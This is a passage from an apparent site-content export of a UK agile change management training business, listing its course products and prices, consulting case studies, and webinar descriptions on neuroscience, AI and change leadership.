zoom. us/ev/ArBhoks_-CEVneAC0nIIJDr9KwTh9x3tRXoLkCRsTXADQ7Am1Zsw~AvSW83ofgk-oesHOBZWoAMZzP7fKTEUzAwG7y2jVXR5wEaYtrv4PwHzUHA « Impact of Neuroscience on Change Management Approaches About this event It is here – Neuroscience for Change at Work. Be the first to hear key takeaways from this insightful and practical book. Neuroscience sounds like a scary and complicated subject, but Melanie (Agile & Change guru) and Tibisay Vera (Neuroscience expert) have written a book that provides simple explanations with lots of examples and experiences from their extensive consulting work. During this webinar Melanie and Tibi will explain an intuitive 8-step model for creating brain-smart activities that reduce the fear and anxiety about change, and create energy and motivation to get involved and make change happen. Their book forms the content of the popular Neuroscience for Change course which has received amazing feedback from candidates across the world since its launch in 2023. If neuroscience hasn’t been on your radar yet, now is the time to hear how it is becoming a fundamental element of all management and leadership roles. Whatever... --- ### Default Kit - Published: 2020-02-16 - Modified: 2025-01-17 - URL: https://agilechangemanagement.co.uk/?elementor_library=default-kit --- ### posts - Published: 2019-12-18 - Modified: 2019-12-18 - URL: https://agilechangemanagement.co.uk/?elementor_library=posts - Type: section Mental health benefits of AgilePosted by Melanie FranklinJune 24, 2019Comments: 0Introduction I am in the middle of a challenging personal project, moving my home from the UK to Spain. The... Read More Agile demystified, the sequel! Posted by Melanie FranklinJune 17, 2019Comments: 0This paper is the second in the series on getting to understand Agile. In the first paper I described the... Read More Resistance to changePosted by Melanie FranklinJune 17, 2019Comments: 0Change Management Institute UK event – Addressing resistance to change Fantastic event by People Deliver Projects who sent along their... Read More --- ### Single Product - Published: 2019-12-12 - Modified: 2025-04-04 - URL: https://agilechangemanagement.co.uk/?elementor_library=single-product - Type: product Are you self-funding your attendance? We have a 15% discount for you. Enter the code LEARN15 at checkout for 15% off. Course info Course Trainer Melanie Franklin Incorporating latest innovations and practical techniques, clients and delegates can be confident that they will find immediate use of the knowledge shared in their operational environment. Read More 7 Day FREE Trial Get a 7 day FREE trial on our ChangeabilityPro® online training platform upon course completion! --- ### Single - Published: 2019-11-27 - Modified: 2025-06-02 - URL: https://agilechangemanagement.co.uk/?elementor_library=single - Type: single Subscribe to Melanie's Agile Change newsletter Subscribe here --- ### Page - Published: 2019-11-27 - Modified: 2021-11-21 - URL: https://agilechangemanagement.co.uk/?elementor_library=page - Type: single Download our Agile Change Guide --- ### Footer - Published: 2019-11-27 - Modified: 2025-05-30 - URL: https://agilechangemanagement.co.uk/?elementor_library=footer - Type: footer Join The Change Conversation Subscribe to our newsletter to keep up to date with the latest news and upcoming training course dates Subscribe here +44 7960 995262 melanie@capabilityforchange. com Registered Office: 33 Eastgate Street, Stafford, ST16 2LZ Training Services Info © 2013-2025 Agile Change Management Linkedin Youtube --- ### How I can help - Published: 2019-11-26 - Modified: 2025-01-15 - URL: https://agilechangemanagement.co.uk/?elementor_library=how-i-can-help - Type: popup Train with Melanie This makes for a fascinating course, where you learn so much more than the words on the page Start Today Change with Melanie Transform your organisation with clear thinking expertise in a proportionate scale Start Today --- ### Header - Published: 2019-11-26 - Modified: 2025-02-10 - URL: https://agilechangemanagement.co.uk/?elementor_library=header - Type: header Training What course is best for me & my team? In-House Training Master Class Series Virtual Classroom Agile Change Agent Agile Change Coach Change Management Practitioner Neuroscience for Change Self Paced Online Agile Change Agent Agile Change Coach ChangeabilityPro® Events Insights Testimonials Book a Course Login --- --- ## Series ### Amplify Agile with Neuroscience - Published: 2024-01-19 - Modified: 2024-01-19 - URL: https://agilechangemanagement.co.uk/series/amplify-agile-with-neuroscience/ --- --- ## Products ### Change for Project Professionals - Published: 2025-06-11 - Modified: 2025-06-11 - URL: https://agilechangemanagement.co.uk/product/change-for-project-professionals/ - Price: 395.00 GBP - Product type: simple - Product visibility: exclude-from-catalog, exclude-from-search - Product categories: Masterclasses --- ### Overcoming Imposter Syndrome - Published: 2025-03-31 - Modified: 2025-04-04 - URL: https://agilechangemanagement.co.uk/product/overcoming-imposter-syndrome/ - Price: 195.00 GBP - Product type: simple - Product visibility: exclude-from-catalog, exclude-from-search - Product categories: Masterclasses --- ### Change for Non-Change Managers - Published: 2025-02-27 - Modified: 2025-02-27 - URL: https://agilechangemanagement.co.uk/product/change-for-non-change-managers/ - Price: 395.00 GBP - Product type: simple - Product visibility: exclude-from-catalog, exclude-from-search - Product categories: Masterclasses --- ### Digital Leadership - Published: 2025-01-14 - Modified: 2025-01-14 - URL: https://agilechangemanagement.co.uk/product/digital-leadership/ - Price: 495.00 GBP - Product type: simple - Product visibility: exclude-from-catalog, exclude-from-search - Product categories: Masterclasses --- ### Creating Insights to Drive Better Change Outcomes - Published: 2024-12-12 - Modified: 2024-12-12 - URL: https://agilechangemanagement.co.uk/product/creating-insights-to-drive-better-change-outcomes/ - Price: 295.00 GBP - Product type: simple - Product visibility: exclude-from-catalog, exclude-from-search - Product categories: Masterclasses --- ### Build your Change Network - Published: 2024-10-28 - Modified: 2024-10-28 - URL: https://agilechangemanagement.co.uk/product/build-your-change-network/ - Price: 295.00 GBP - Product type: simple - Product visibility: exclude-from-catalog, exclude-from-search - Product categories: Masterclasses --- ### Neuroscience for Change > By completing the Neuroscience for Change course you will have access to a comprehensive toolkit of practical techniques to understand adopting change. - Published: 2023-09-27 - Modified: 2025-06-18 - URL: https://agilechangemanagement.co.uk/product/neuroscience-for-change/ - Price: 1,150.00 GBP - Product type: variable - Product categories: Change Management - Product Location: Virtual Classroom - Product Type of ticket: 2-day course, Full Course Neuroscience for Change Course Outline This course has five sections leading to your Neuroscience Certification. Each section of the course builds on the content of the others to produce a toolkit of practical techniques that meet the criteria for how the brain reacts to change: Introduction to neuroscience and the PEPE© model Pain domain, formed of the two dimensions: reducing pain and increasing pleasure Error detection domain, formed of two dimensions: reducing mismatch and increasing positive signals Energy domain, formed of two dimensions: increasing energy for change and reducing energy needed for change Peaks and valleys domain, formed of two dimensions: managing peaks and promoting valleys Download Full Course Outline Here --- ### Agile Change Coach - Published: 2022-09-29 - Modified: 2025-01-02 - URL: https://agilechangemanagement.co.uk/product/agile-change-coach/ - Price: 695.00 GBP - Product type: simple - Product categories: Agile Courses --- ### Agile Change Coach Virtual Classroom Course > This Agile Change Coach Course is packed full of “neuro-hacks” that help us lead through the transition from old to new ways of working. - Published: 2021-09-13 - Modified: 2025-04-10 - URL: https://agilechangemanagement.co.uk/product/agile-change-coach-course/ - Price: 945.00 GBP - Product type: variable - Product categories: Agile Change Coach - Product Location: Virtual Classroom - Product Type of ticket: Full Course, Foundation only (3 days) The Agile Change Coach Course is suitable for everyone who is involved in creating new ways of working If we can use our understanding of how the brain works to better target our communications and our activities, we can help people through transition more quickly and with less stress. The Agile Change Coach course is an packed full of “neuro-hacks” designed to help people to change their ways of working, by overcoming psychological and emotional barriers to change. Each of the techniques comes from research in neuroscience and positive psychology, tried and tested in many different change situations and explained in easy to understand language. In just two-days you can understand and practice these techniques, debate how they apply to different types of change and plan how to apply them to your change situations. Download Full Course Outline Here --- ### Agile Change Management Course And Exam Bundle - Published: 2020-09-07 - Modified: 2025-01-02 - URL: https://agilechangemanagement.co.uk/product/agile-change-management-course-and-exam-bundle/ - Price: 695.00 GBP - Product type: simple - Product categories: Agile Courses EXAM BUNDLE The Agile Change Agent course bridges the gap between the formal theories, models and techniques courses in Change Management and Agile Project Management and the need to know how to make things work in practice. EXAM BUNDLE The Agile Change Agent course bridges the gap between the formal theories, models and techniques courses in Change Management and Agile Project Management and the need to know how to make things work in practice. It is full of simple, intuitive techniques and approaches that enable you to do and not just know how to make Agile Change work. It is a follow on course for those with the qualifications and an entry point for those who need the capability but haven’t studied the subjects in depth. The course contents are drawn from my book Agile Change Management which is a practical guide to planning and delivering change using the Agile principles of incremental and iterative delivery. --- ### Online Coaching - Published: 2020-03-18 - Modified: 2023-11-16 - URL: https://agilechangemanagement.co.uk/product/online-coaching/ - Price: 1,075.00 GBP - Product type: simple - Product categories: Change Management --- ### Agile Change Agent Virtual Classroom Course > Sign up to our Agile Change Agent Virtual Classroom Course. These courses are run via live virtual classroom so you get the most out of your learning time. - Published: 2019-12-18 - Modified: 2025-04-10 - URL: https://agilechangemanagement.co.uk/product/agile-change-agent-course/ - Price: 945.00 GBP - Product type: variable - Product categories: Agile Change Agent - Product Location: Landmark 40 Gracechurch St, London EC3V 0BT - Product Type of ticket: 2-day course, Full Course Build a future in Agile Change through my Agile Change Agent virtual classroom course This is now an online TEAMS meetings course running 9 am - 5 pm with breaks. The Agile Change Agent virtual classroom course has been designed to bridge the gap between the formal theories, models and techniques in Change Management and Agile Project Management, providing a follow on course for those with the qualifications and an entry point for those who need the capability but haven’t studied the subjects in depth. The course contents are drawn from my book Agile Change Management which is a practical guide to planning and delivering change using the Agile principles of incremental and iterative delivery. Download Full Course Outline Here --- ### Change Management Foundation and Practitioner Virtual Classroom Course - Published: 2019-01-30 - Modified: 2025-06-18 - URL: https://agilechangemanagement.co.uk/product/change-management-practitioner-course/ - Price: 1,535.00 GBP - Product type: variable - Product categories: Change Management - Product Location: Landmark 40 Gracechurch St, London EC3V 0BT - Product Type of ticket: Full Course, Foundation only (3 days) Providing you with the skills, techniques and processes to deliver effective change. Change management training is an essential element of your career development. All leadership roles now require an understanding of how to lead yourself and others from current to new ways of working. Just as project management has become a standard requirement of many non-project roles especially in the UK, change management skills form a significant proportion of the competencies needed for the most interesting, exciting and highly paid roles being advertised today. Increasingly, recruiters are seeking evidence of these skills through change management qualifications and change management certification. After all, if you are hiring someone for a change role, a minimum requirement should be change management qualifications. Download Full Course Outline Here --- --- ## Case Studies ### Delivering sponsor development programmes - Published: 2019-12-18 - Modified: 2019-12-18 - URL: https://agilechangemanagement.co.uk/casestudies/delivering-sponsor-development-programmes/ Case Study Problem This University had ambitious growth targets necessitating a high number of strategic change initiatives. However, their current governance structure led to nearly everything being escalated to 3 senior managers for approval. This meant that active sponsorship wasn’t possible. Decisions were not taken in a timely manner and risks were not addressed and progress not effectively tracked. Solution It was agreed that to meet the ambitious targets, distributed leadership of change was needed. I developed a programme of workshops, webinars and coaching sessions to enable senior managers to understand their sponsor responsibilities and to collaboratively develop ways in which they could carry out their role. We started from the perspective that change management is a risk management strategy, so it was important for sponsors to assess not only the delivery of tangible change via projects but also the progress of behavioural change with all those impacted by the change. Unless staff were engaged and could see the value of new ways of working they would not change their approach. This meant tracking different metrics including the level of support for the change, the number of staff impacted who were involved in creating the new ways of working and evidence that these new ways were being adopted. Results The main impact of this programme has been the freeing of the board to review and debate the most significant initiatives whilst managers in the various schools feel empowered to lead changes impacting their area. The way in which the training... --- ### CEO coaching post-acquisition - Published: 2019-12-18 - Modified: 2019-12-18 - URL: https://agilechangemanagement.co.uk/casestudies/ceo-coaching-post-acquisition/ Case Study Problem The CEO was appointed by the European acquiring company (construction) to run their UK based subsidiary (specialist construction). He was appointed during the acquisition process from a competitor, where he had been the Managing Director of a single business unit. This was his first CEO position, and his first involvement with an acquisition. The rationale for the acquisition was that the UK firm had a good reputation, but sales had fallen over the last few years whilst staff costs had remained constant. The new CEO had to establish his credibility with the staff and develop and implement an aggressive growth strategy. Solution I was appointed by the acquiring company to support the new CEO. I developed a trusting and empathetic relationship based on my own experiences of board positions, which he found useful and relevant. We agreed that I would partner with him to develop the strategy and I would also lead on staff communications. I developed a programme of workshops and events with staff to enable them to meet and work with the CEO so that he could get to know them and hear their issues. I designed an exchange programme between the UK staff and the European Head Office to enable the UK to fully appreciate the benefits of being part of a larger, global network and to identify the opportunities for sharing equipment and staff to enable the UK to bid for larger projects. I developed a marketing and sales strategy, hired a marketing... --- ### White label CM process for consultancies - Published: 2019-12-18 - Modified: 2019-12-18 - URL: https://agilechangemanagement.co.uk/casestudies/white-label-cm-process-for-consultancies/ Case Study Problem The company that hired me has a proprietary data analytics platform that it sells to businesses all over the world. Although the organisation is skilled at assessing its customers data and configuring the platform to meet their technical requirements they receive negative feedback because the platform has not delivered the business improvements that were hoped for. The root cause of these complaints is that there is no help from the company on how to change processes and ways of working to get the most out of the platform. The Implementation Teams can clearly execute projects but they are not skilled in Change Management. They do not connect the delivery of the platform to the realisation of strategic objectives and do not see anything past the ‘go-live’ date as their responsibility. Solution I designed a new service, called Change Readiness, presented it to the board and got their endorsement. I designed and delivered training to Implementation teams around the world, including sales and marketing staff. I worked with HR to redesign roles, establish new KPIs and hired additional staff experienced in embedding change. The service included templates and checklists for all aspects of behavioural change for typical user roles in the customer organisations, guidance on how to run workshops to design new processes and the creation of new agile training courses that explained how to use the platform in customer relevant situations. Results The company has been able to sell its change readiness service to all new clients,... --- ### Building networks of change champions - Published: 2019-12-18 - Modified: 2019-12-18 - URL: https://agilechangemanagement.co.uk/casestudies/building-networks-of-change-champions/ Case Study Problem This Middle East utility organisation was starting on a very significant transformation, involving 24 change programmes, covering everything from power generation to customer service. The organisation has nearly 40,000 staff spread across 188 locations. Whilst the programme management was undertaken by experienced programme, change and risk management practitioners, change would only really happen if every member of staff was able to adapt to the new ways of working. However, there it was not cost effective to put all of the staff through a change training programme. Solution I carried out a high level impact assessment and created a heat map of all the change initiatives and how they would impact each of the business functions, departments and teams in each of the 188 locations. I used this analysis to create a cascade of staff to take responsibility for passing details of the changes down to their direct reports. I designed communications, workshops and training materials for each layer of the cascade. Importantly, each layer of the cascade was treated as a peer group, so effort was made to work with them as peer groups. I created opportunities for them to share their experiences and provide support to each other. Results The network has supported the transformational change, with many of the programmes delivering more than the expected benefits. However, an additional benefit has been the creation of a ‘can do’ culture, where change is regarded as the responsibility of all members of staff, not just senior managers.... --- ### Designing portfolio management processes - Published: 2019-12-18 - Modified: 2019-12-18 - URL: https://agilechangemanagement.co.uk/casestudies/designing-portfolio-management-processes/ Case Study Problem This organisation is European subsidiary of a multi-billion dollar US based financial services organisation. His concern was that as a result of Brexit, GDPR and financial regulations, his organisation has high volumes of strategically important change to deliver, but not necessarily the controls in place to track the progress of this change. Many departments and teams were struggling to balance customer facing business with implementing change, and that the only changes that there were able to address were mandatory, leaving no time for innovation and service improvement initiatives. Solution I interviewed all senior and middle managers in each of the European offices to establish the current level of change taking place. This enabled me to create a complete picture and provide the ‘single voice’ that the CEO and board needed to make effective prioritisation decisions. I established a streamlined governance process for initiative evaluation and authorisation, developing transparent evaluation criteria for initial agreement to an initiative, and further criterion to establish when to implement it. I developed a change management approach, to be used by all European offices. It defined the key tasks that move the change through phases from initial idea, definition of new ways of working and implementation of these new ways of working to enable more accurate sizing of the effort involved for each initiative. This common approach enabled me to establish measures to track progress and report on the probability of expected benefits being realized. Results An increase in the focus of how... --- ### Creating practical toolkits and workshops - Published: 2019-11-28 - Modified: 2019-11-28 - URL: https://agilechangemanagement.co.uk/casestudies/creating-practical-toolkits-and-workshops/ Case Study Problem This Not for Profit organisation wanted to increase the number of staff and volunteers managing change initiatives Whilst they could afford to provide some training, they needed a cost effective way of sustaining their ability to manage change. Solution After designing and delivering a national change management training programme, I identified a number of volunteers to work with me on creating a toolkit of support materials suitable for a range of changes, including system change, process change and staff re-organisations. Two of the most popular resources:Webinars where I explained how to use each of the templates that provided simple guidance on how to run an initiative from scoping the initial idea and creating a business case to supporting people as they devised new ways of working. Tips and techniques database, where everyone is encouraged to log details of workshop activities, presentations, diagrams and new checklists that they have used successfully on their own change initiatives. Results The charity has been able to run more change initiatives, using its own staff and volunteers. It has reduced reliance on external contractors and consultants which is a sensitive area when justifying where donations are being spent. Two years on, the toolkit continues to be updated and even though I am no longer working for the charity, I regularly supply them with new materials based on lessons learned from other organisations. Download our Agile Change Guide to 2020 Share on facebook Share on google Share on twitter Share on linkedin Inspiring... --- --- ## Venues ### Agile Change Management Event location - Published: 2018-05-07 - Modified: 2018-05-07 - URL: https://agilechangemanagement.co.uk/venue/418/ --- --- ## Organisers ### Deltra - Published: 2022-01-27 - Modified: 2022-01-27 - URL: https://agilechangemanagement.co.uk/organiser/deltra/ --- ### Melanie Franklin Agile Change Management - Published: 2021-12-30 - Modified: 2021-12-30 - URL: https://agilechangemanagement.co.uk/organiser/melanie-franklin-agile-change-management/ --- ### BCS Business Change Specialist Group and BCS Agile Methods SG - Published: 2021-11-15 - Modified: 2021-11-15 - URL: https://agilechangemanagement.co.uk/organiser/bcs-business-change-specialist-group-and-bcs-agile-methods-sg/ --- ### APMG - Published: 2021-11-10 - Modified: 2021-11-10 - URL: https://agilechangemanagement.co.uk/organiser/apmg-2/ --- ### APMG - Published: 2021-11-10 - Modified: 2021-11-10 - URL: https://agilechangemanagement.co.uk/organiser/apmg/ --- ### Lead Change 2022 - Published: 2021-09-23 - Modified: 2022-07-20 - URL: https://agilechangemanagement.co.uk/organiser/lead-change-2021/ --- ### Continuous Change Community > Join our Continuous Change Community and join the discussion today. How has the world around you led to where you are now - Published: 2021-09-23 - Modified: 2025-05-30 - URL: https://agilechangemanagement.co.uk/organiser/continuous-change-community/ --- ### Project Challenge Expo - Published: 2021-09-14 - Modified: 2021-09-14 - URL: https://agilechangemanagement.co.uk/organiser/project-challenge-expo/ --- --- ## Events ### The Change It Podcast with Eloise Seidelin - Published: 2025-06-03 - Modified: 2025-06-03 - URL: https://agilechangemanagement.co.uk/event/the-change-it-podcast-with-eloise-seidelin/ - Event Categories: Watch On-Demand Change is Getting Smarter: Neuroscience, AI and the End of Linear Models with Melanie Franklin Listen here In this episode of the Change It Podcast, host Eloise is joined by globally recognised change leader Melanie Franklin to explore how neuroscience is transforming modern change management. Together they unpack: Why traditional change models are no longer fit for purpose How understanding the brain’s need for certainty, autonomy and energy conservation helps us design better change experiences The practical application of current neuroscience literature in today’s fast-paced organisations The rising role of AI and why human-centred skills like behavioural insight and relationship-building are more important than ever How to make change easier to absorb by aligning it with how the brain actually works This one’s for anyone leading, delivering or living through change. --- ### Impact of AI on Change Management - Published: 2025-05-28 - Modified: 2025-06-16 - URL: https://agilechangemanagement.co.uk/event/impact-of-ai-on-change-management/ - Event Categories: Virtual event Is AI About to Hijack Your Role? What Every Change Leader Needs to Know 30 mins. No waffle. Just the good stuff. AI isn’t coming, it’s already here. And it’s creeping into the edges of change management. If you're in a change role and not thinking about how AI might reshape what you do, this session is your wake-up call. After attending a string of AI conferences and events, I’ve pulled together the most relevant, urgent shifts facing change professionals. In just 30 minutes, I’ll walk you through: What AI means for your current ways of working Which parts of your role are under threat (and which could be supercharged) Why now is the moment to get curious, not complacent Expect real talk, no jargon, and space to share your own thoughts on what’s coming next This isn’t about fear. It’s about future-proofing. Register now and be the one bringing answers, not questions, to the next team meeting. Register here --- ### Beyond the Change Team: Building Everyday Change Capability Across Your Organisation - Published: 2025-04-28 - Modified: 2025-05-22 - URL: https://agilechangemanagement.co.uk/event/beyond-the-change-team-building-everyday-change-capability-across-your-organisation/ - Event Categories: Virtual event https://www. youtube. com/watch? v=csLaroGr1cg Change is happening faster — and in more places — than ever before. But is your organisation truly ready to live change, not just manage it? Join us for this fast-paced, practical 30-minute webinar where we’ll explore how to make change a positive, energising experience for everyone — not just a project managed by a few specialists. In this session, you’ll discover: Why a positive experience of change is as critical as achieving business benefits How to engage every role in your organisation — from frontline teams to office staff — so no one is left behind Why the future of successful change demands involvement from everyone, not just a small group of "change experts" Practical tips for balancing day-to-day performance with evolving change activities — without overwhelming your people How to build on the natural change resilience that already exists in your teams, instead of starting from scratch Why those impacted by change do not need to master endless theories and complex models to create real, lasting change This fresh, energising perspective that will leave you better equipped to make change feel achievable, empowering — and even exciting — across your entire organisation. Ready to reframe change and unlock your people’s full potential? --- ### Change for Non-Change Managers with Melanie Franklin - Published: 2025-03-13 - Modified: 2025-04-30 - URL: https://agilechangemanagement.co.uk/event/change-for-non-change-managers-with-melanie-franklin/ - Event Categories: Virtual event https://youtu. be/W_gyGDU26IM Highlights You are not a change manager, you already have a full time operational role, but you know that you are expected to lead yourself and your team through the shift from how you currently work to new ways of working. You want to understand what your responsibilities are and you want simple, easy to use and easy to share techniques for you and your team. Is this the right webinar for you? You are in an operational role and must lead changes taking place in your area You want ideas for how to explain change to your team and how to overcome their resistance to it You want to develop your understanding of change management as you recognise you are increasingly involved in making change happen --- ### Scaling for Change with Myra Clarke - Published: 2025-03-13 - Modified: 2025-04-23 - URL: https://agilechangemanagement.co.uk/event/scaling-for-change-with-myra-clarke/ - Event Categories: Virtual event https://youtu. be/_J8YF-Jqd3k Highlights With so much change taking place, being clear about the scope of the change you are involved in ensures you don’t waste time duplicating the work of others or missing important elements that need to be included. Learn how to apply the Scaling Change Framework™ with our expert executive coach, Myra Clarke. She will share here expertise in using insightful coaching questions to help you produce better change outcomes. Is this the right webinar for you? You are managing a change and want to ensure the scope is complete You are sponsoring a change and want some guidance on how to decide what to change You are in a programme role and want to apply a structured approach to defining the scope of your programme --- ### Building your Change Agent Network with Melanie Franklin - Published: 2025-03-13 - Modified: 2025-04-17 - URL: https://agilechangemanagement.co.uk/event/building-your-change-agent-network-with-melanie-franklin/ - Event Categories: Virtual event https://youtu. be/p-hyumoS3zA? si=7F3UX6rwtE1jfhhe Highlights Building a team of change agents or champions is an effective way to increase involvement in change by those most impacted by it. Participating as an agent of change is a great development opportunity but does take time away from day to day responsibilities. For this reason, your network needs careful design and imaginative training and coaching activities to ensure everyone feels supported. Melanie will give you insights into how to build and manage your change agent network. Is this the right webinar for you? You are managing a change and want to bring your stakeholders together as a network of champions You have a line/people management role and want to understand what is involved with becoming a change agent/change champion so you can offer this role to members of your team --- ### Digital Leadership with Mel Ross - Published: 2025-03-13 - Modified: 2025-04-16 - URL: https://agilechangemanagement.co.uk/event/digital-leadership-with-mel-ross/ - Event Categories: Virtual event https://www. youtube. com/watch? v=gp2FfQxVqgk&t=801s Highlights Digital transformations are the most common transformational changes taking place today according to the global Capability for Change survey. With the arrival of generative (and soon agenic) AI, can you afford not to have a view on this? Mel Ross will take you through her simple but powerful FOIL model which gives you a structure for identifying what digital changes you need to consider and which you are lower priority. The training from this master class has stayed with me and helps me shape my own views of the change programmes I am involved with. Is this the right webinar for you? You are involved in a digital transformation and want to feel more in control of the work you are doing. You feel overwhelmed by the pace of digital change and want to feel more confident in your views and how you get involved in these changes. --- ### Imposter Syndrome with Estie Briggs - Published: 2025-03-13 - Modified: 2025-04-03 - URL: https://agilechangemanagement.co.uk/event/imposter-syndrome-with-estie-briggs/ - Event Categories: Virtual event https://www. youtube. com/watch? v=nqVo0stFvVw Highlights Involvement in change means coping with your own resistance to change, and the resistance from your colleagues. It is too easy to slip into a negative view of the world, convincing yourself that you don’t have the skills or experience to cope with new ways of working. Listen to our emotional intelligence expert Estie Briggs on ways to quieten your negative inner voice and build your confidence for dealing with all the changes taking place in your organisation, in your career and in your life. Is this the right webinar for you? You struggle with self-doubt and want practical ways to build your confidence You want to support team members and colleagues who doubt their own ability when you know they have the skills and experience to take on new opportunities --- ### Why Agile Change and Neuroscience have increased relevance for AI projects - Published: 2025-02-28 - Modified: 2025-03-21 - URL: https://agilechangemanagement.co.uk/event/why-agile-change-and-neuroscience-have-increased-relevance-for-ai-projects/ - Event Categories: Virtual event As many change initiatives are expanding to include use of AI tools, we are increasing the uncertainty created by change at work. No-one knows exactly how these tools will re-shape how we work, and the balance of work between systems and humans. We need an approach that enables us to adopt new ways of working using small steps, experimenting as we go, learning from real-world experiences and bringing this knowledge into our decision making for planning our next steps. In this session I will give you my top tips for creating iterative, incremental plans, and the techniques I use to reassure those authorising change and those impacted by change. --- ### Quick Guide – Neuroscience for Change - Published: 2025-01-13 - Modified: 2025-02-28 - URL: https://agilechangemanagement.co.uk/event/quick-guide-neuroscience-for-change/ - Event Categories: Virtual event https://youtu. be/nTo3ynT8Qg8 Learn about the newest change management qualification, and how it aligns to other change management certifications. Gain an understanding of what neuroscience is, and how knowledge of how the brain processes information and takes decisions is helpful when dealing with change. Discover the PEPE™ model and how it provides you with an essential checklist of points to consider when working with others during change. Is this the right webinar for you? You are a manager, responsible for guiding yourself and others through change, and are keen to understand the reasons for the reactions to change you are experiencing You are an experienced change professional with other change certifications and want to add the latest thinking to your achievements You are new to change and want to start by understanding the latest thinking before deciding your next steps --- ### Quick Guide – Change Management Practitioner - Published: 2025-01-13 - Modified: 2025-02-21 - URL: https://agilechangemanagement.co.uk/event/quick-guide-change-management-practitioner/ - Event Categories: Virtual event https://youtu. be/YltB2jENPHc In this Quick Guide – gain an overview of the theories and models in this course, and how this course compares the Prosci ADKAR® model. Find out how the course is structured, what you will learn on each day and how the Foundation and Practitioner examinations are structured. Understand how the Practitioner certification positions you as a change professional and how what you learn on this course supports your career ambitions. Is this the right webinar for you? You are new to change and want to begin your work with a strong understanding of the fundamental models that form the basis of change management practice globally You are experienced in change and want to gain a certification that provides evidence of your knowledge and understanding of change management You are responsible for coaching people through change, and want a wealth of models and theories to draw on in your coaching practice --- ### Quick Guide – Agile Change - Published: 2025-01-13 - Modified: 2025-02-17 - URL: https://agilechangemanagement.co.uk/event/quick-guide-agile-change/ - Event Categories: Virtual event https://www. youtube. com/watch? v=3F1BD3tz240 In this Quick Guide – gain an understanding of the practical techniques and the management skills you can apply from the Agile Change Agent and Agile Change Coach courses. These courses are designed for you to be able to do things, so they are packed full of solutions to the most common change related issues, including change fatigue, resistance to change, anxiety and stress, low motivation and a lack of resilience. Appreciate the benefits of an Agile Change approach, and how it addresses the challenges of high levels of external and internal uncertainty, constant change and the pressure on resources. Is this the right webinar for you? You want to know what solutions are available for planning and delivering change when all around you everything is changing You are experienced in change and want to hear new ideas, that have been developed post Covid for a hybrid working world You need techniques and practical activities to share with your team and your stakeholders to ensure they become part of the change --- ### Complete Picture – Which Is The Right Change Management Qualifications For You - Published: 2025-01-13 - Modified: 2025-02-07 - URL: https://agilechangemanagement.co.uk/event/complete-picture-which-is-the-right-change-management-qualifications-for-you/ - Event Categories: Virtual event Welcome to my Quick Guides series, where I am going to explain the range of change management qualifications currently available, and how they build skills and provide evidence of ability. Is this the right webinar for you? If you are a career development/leadership coach, these webinars will give you vital information to share with your clients If your role is Learning and Development, this will give you vital information for career development paths and help you purchase the right training for your organisation If you want to build your career, these webinars will enable you to make informed decisions about what the qualifications mean and how they provide evidence of your experience to current and future employers If you are involved in making change at work happen, these webinars will enable you to select training that will give you new techniques and practical guidance to enable you to successfully lead yourself and your teams through change There are 4 short webinars in this series 1. Complete picture – quick tour of the available qualifications, what they cover and how they build upon one another 2. Quick Guide – Agile Change – gain an understanding of the practical techniques and the management skills you can apply from the Agile Change Agent and Agile Change Coach courses. Understand how this knowledge positions you as a change professional 3. Quick Guide – Change Practitioner – gain an understanding of the theories and models in this course, and how this course compares the Prosci... --- ### How to Hire Change Management Resources - Published: 2024-12-11 - Modified: 2025-02-07 - URL: https://agilechangemanagement.co.uk/event/how-to-hire-change-management-resources/ - Event Categories: Virtual event This event is for everyone responsible for hiring resources in business change and transformation and anyone considering their next role. You might be an experienced change professional looking to add to your team and want guidance on the hiring process, or you might be experienced in hiring but want specific guidance on what to look for when hiring change professionals. Our guest presenter, Jonty Plewes, has worked with 100s of organisations to help build their Change & Transformation capability. Having worked extensively in both the UK and Australia, Jonty has developed a deep understanding of the challenges organisations face during periods of change, and he is passionate about helping businesses build the right teams to drive successful transformation. He will share ideas about how to increase your access to different talent pools and give advice on how to describe the role, how different role titles are interpreted and likely expected salary/daily rates. Melanie will support those hiring with practical advice about what good looks like, with sample interview questions and examples of good and poor-quality answers. You will have a chance to ask questions throughout, and resources to support your hiring activities will be available after the session. --- ### Capability for Change Survey Insights - Published: 2024-12-09 - Modified: 2024-12-09 - URL: https://agilechangemanagement.co.uk/event/capability-for-change-survey-insights/ - Event Categories: Virtual event This webinar will provide you with valuable statistics and insights about the current state of change management practices globally. It is an opportunity to hear the collated results from over 300 respondents who have shared their views on the current volumes and perceived capability for change in their organisations, what is working well and their areas for development. Presenter and Change Management guru Melanie Franklin will compare the results from this year with the two previous years and will share her analysis and insights, and her ideas about the big themes for business change and transformation in 2025. Don’t miss this opportunity to hear key areas for development and a chance to compare the approach to change in your organisation with others worldwide. Registering for this webinar ensures you can attend live and/or be sent the recording, and you will also be sent the detailed results report. Register here --- ### Change Champions Event – Agile Change Management - Published: 2024-09-30 - Modified: 2024-12-12 - URL: https://agilechangemanagement.co.uk/event/change-champions-event-agile-change-management/ - Event Categories: Virtual event Mel Franklin from Agile Change Management is back for another input into change management. For those that have not yet heard Mel speak on Change we highly recommend this session, she is truly a leading commentator on Business Change practices. You will be inspired! Using neuroscience to super-charge our relationship building and stakeholder engagement The outline agenda is as follows: Why we need to jumpstart our engagement – sharing latest statistics on volumes of change and how any message we want to deliver is diluted by the high number of messages from other changes, projects and programmes Brain views change as a threat so we are keen to deny or ignore the change, and how we can move the brain towards reward and away from threat Relevance of neuroscience to engagement – how brain-smart content triggers immediate reactions Practical techniques for engagement, using an understanding of how the brain reacts to information and how it takes decisions, increasing the probability our messages will be heard Watch the webinar https://www. youtube. com/watch? v=PJgNkps8W_w --- ### Impact of Neuroscience on Change Management Approaches > In this fast paced hour, Melanie will highlight the impact of neuroscience on Change Management approaches! - Published: 2024-05-20 - Modified: 2024-06-27 - URL: https://agilechangemanagement.co.uk/event/impact-of-neuroscience-on-change-management-approaches/ - Event Categories: Virtual event In this fast paced hour, Melanie will highlight her concerns for how the most popular and well known models of change do not address the environment of multiple, simultaneous change and the feelings of change fatigue and change saturation that we all face. Melanie will explain the latest thinking from neuroscience and demonstrate how this thinking gives us a new way of managing multiple changes. Using the application of a threat/reward model, she will walk us through a simple recipe for creating motivation, energy and resilience for change. Watch the webinar here: https://www. youtube. com/watch? v=SF5lqC86nc8 --- ### Neuroscience for Change at Work > Neuroscience sounds like a scary and complicated subject, but Melanie and Tibisay have written a book that provides simple explanations. - Published: 2024-05-16 - Modified: 2024-05-16 - URL: https://agilechangemanagement.co.uk/event/neuroscience-for-change-at-work/ - Event Categories: Virtual event It is here – Neuroscience for Change at 